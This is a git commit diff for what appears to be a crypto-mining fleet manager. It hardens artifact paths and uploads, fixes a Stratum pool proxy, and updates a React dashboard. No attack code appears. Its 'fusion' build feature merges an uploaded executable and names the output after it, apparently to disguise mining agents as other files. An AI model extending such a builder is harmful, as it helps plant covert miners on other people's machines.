Fix bugs found in full security and stability audit.

Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
This commit is contained in:
drjones
2026-05-29 09:57:22 -07:00
parent e11fb30350
commit f9e26bb1a6
13 changed files with 281 additions and 82 deletions

View File

@@ -60,6 +60,9 @@ func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
if limit > 1000 {
limit = 1000
}
samples, err := h.db.GetHashrateHistory(id, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
@@ -78,6 +81,9 @@ func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
if limit > 1000 {
limit = 1000
}
shares, err := h.db.GetRecentShares(limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)

View File

@@ -199,6 +199,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
// Clean the path
path := strings.TrimPrefix(r.URL.Path, "/")
if path == "" || strings.Contains(path, "..") {
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
return
}
fullPath := filepath.Join(webRoot, path)
// Check if the file exists

View File

@@ -176,27 +176,31 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
if req.FusionEnabled {
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else if err == nil {
file.Close()
}
defer file.Close()
if req.FusionMediaBaseName == "" && header.Filename != "" {
req.FusionMediaBaseName = header.Filename
}
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
if req.FusionPayloadKind == "" {
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
}
saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
@@ -327,19 +331,28 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
if _, err := h.db.GetBuild(buildID); err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
name := sanitizeFileName(chi.URLParam(r, "name"))
if name == "" {
if name == "" || strings.Contains(name, "..") {
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
return
}
buildDir := filepath.Join(h.dataDir, "builds", buildID)
path := filepath.Join(buildDir, name)
if _, err := os.Stat(path); err != nil {
// Paired media may live in fusion export dir — try deliverables folder from query
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
path = filepath.Join(exportDir, name)
path, err := safePathUnderRoot(buildDir, name)
if err != nil {
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
title = sanitizeFileName(filepath.Base(title))
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
}
}
if err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
}
if _, err := os.Stat(path); err != nil {
http.Error(w, "Artifact not found", http.StatusNotFound)
return
@@ -570,6 +583,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
resp := BuildResponse{
@@ -785,6 +799,9 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
if header.Size < 0 {
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
}
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
@@ -807,7 +824,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
os.RemoveAll(dir)
return "", nil, err
}
written, err := io.Copy(out, file)
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
out.Close()
if err != nil {
os.RemoveAll(dir)
@@ -1049,6 +1066,30 @@ func sanitizeFileName(name string) string {
return replacer.Replace(name)
}
// safePathUnderRoot resolves name under root and rejects traversal escapes.
func safePathUnderRoot(root, name string) (string, error) {
if name == "" || strings.Contains(name, "..") {
return "", fmt.Errorf("invalid path")
}
cleanName := filepath.Clean(name)
if filepath.IsAbs(cleanName) {
return "", fmt.Errorf("invalid path")
}
absRoot, err := filepath.Abs(root)
if err != nil {
return "", err
}
full := filepath.Join(absRoot, cleanName)
absFull, err := filepath.Abs(full)
if err != nil {
return "", err
}
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes root")
}
return absFull, nil
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)

View File

@@ -63,7 +63,8 @@ type Proxy struct {
conn net.Conn
reader *bufio.Reader
connected bool
requestID int
requestID int
loginRequestID int
currentJob *Job
jobSubscribed bool
stopCh chan struct{}
@@ -260,7 +261,11 @@ func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult
}
func (p *Proxy) authenticate() error {
p.mu.Lock()
p.requestID++
loginID := p.requestID
p.loginRequestID = loginID
p.mu.Unlock()
// Login request
loginParams := []interface{}{
@@ -271,7 +276,7 @@ func (p *Proxy) authenticate() error {
paramsData, _ := json.Marshal(loginParams)
loginReq := StratumRequest{
ID: p.requestID,
ID: loginID,
Method: "login",
Params: paramsData,
}
@@ -317,7 +322,22 @@ func (p *Proxy) readLoop() {
}
p.scheduleReconnect()
return
// Wait for reconnect before resuming reads (readLoop stays alive).
for i := 0; i < 600; i++ {
select {
case <-p.stopCh:
return
default:
}
p.mu.RLock()
ok := p.connected && p.reader != nil
p.mu.RUnlock()
if ok {
break
}
time.Sleep(100 * time.Millisecond)
}
continue
}
line = strings.TrimSpace(line)
@@ -367,7 +387,11 @@ func (p *Proxy) handleResponse(resp StratumResponse) {
return
}
if resp.ID == 1 {
p.mu.RLock()
loginID := p.loginRequestID
p.mu.RUnlock()
if resp.ID == loginID {
// Login response
var loginResult struct {
ID string `json:"id"`

View File

@@ -9,6 +9,8 @@ interface Props {
onChange: (next: FleetFilterState) => void;
selectedCount: number;
onBulkAction: (action: string) => void;
onSelectAllFiltered?: () => void;
filteredCount?: number;
bulkBusy: boolean;
}
@@ -18,6 +20,8 @@ export default function FleetToolbar({
onChange,
selectedCount,
onBulkAction,
onSelectAllFiltered,
filteredCount,
bulkBusy,
}: Props) {
const tags = collectFleetTags(agents);
@@ -78,6 +82,14 @@ export default function FleetToolbar({
</label>
</div>
{onSelectAllFiltered && (filteredCount ?? 0) > 0 && selectedCount === 0 && (
<div className="fleet-bulk-bar">
<button type="button" className="btn btn-outline btn-sm" onClick={onSelectAllFiltered}>
Select all filtered ({filteredCount})
</button>
</div>
)}
{selectedCount > 0 && (
<div className="fleet-bulk-bar">
<span className="font-tech">{selectedCount} selected</span>

View File

@@ -11,6 +11,7 @@ export default function SessionGate({ children }: { children: ReactNode }) {
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setReady(true);
return;
}
@@ -19,20 +20,27 @@ export default function SessionGate({ children }: { children: ReactNode }) {
setAuthed(r.ok);
setReady(true);
})
.catch(() => setReady(true));
.catch(() => {
setAuthed(false);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
const token = btoa(`${user}:${pass}`);
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
return;
try {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
setStoredAuth(user, pass);
setAuthed(true);
};
if (!ready) {

View File

@@ -35,6 +35,16 @@ export function useWebSocket(): UseWebSocketReturn {
const connect = useCallback(() => {
if (unmounted.current) return;
if (reconnectTimer.current) {
clearTimeout(reconnectTimer.current);
reconnectTimer.current = null;
}
const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.close();
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
@@ -48,6 +58,7 @@ export function useWebSocket(): UseWebSocketReturn {
ws.onclose = () => {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
reconnectTimer.current = setTimeout(connect, 3000);
};

View File

@@ -45,6 +45,12 @@ export default function AgentsPage() {
.finally(() => setLoading(false));
}, []);
useEffect(() => {
if (!selectedAgent) return;
setNotesDraft(selectedAgent.notes || '');
setTagsDraft((selectedAgent.tags || []).join(', '));
}, [selectedAgent?.id]);
useEffect(() => {
if (!isConnected) return;
setAgents(liveAgents);
@@ -52,8 +58,6 @@ export default function AgentsPage() {
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
setSelectedAgent(updated);
setNotesDraft(updated.notes || '');
setTagsDraft((updated.tags || []).join(', '));
} else {
setSelectedAgent(null);
setLogContent('');

View File

@@ -128,6 +128,9 @@ export default function DashboardPage() {
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
} finally {
setBulkBusy(false);
}
@@ -269,6 +272,8 @@ export default function DashboardPage() {
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
bulkBusy={bulkBusy}
/>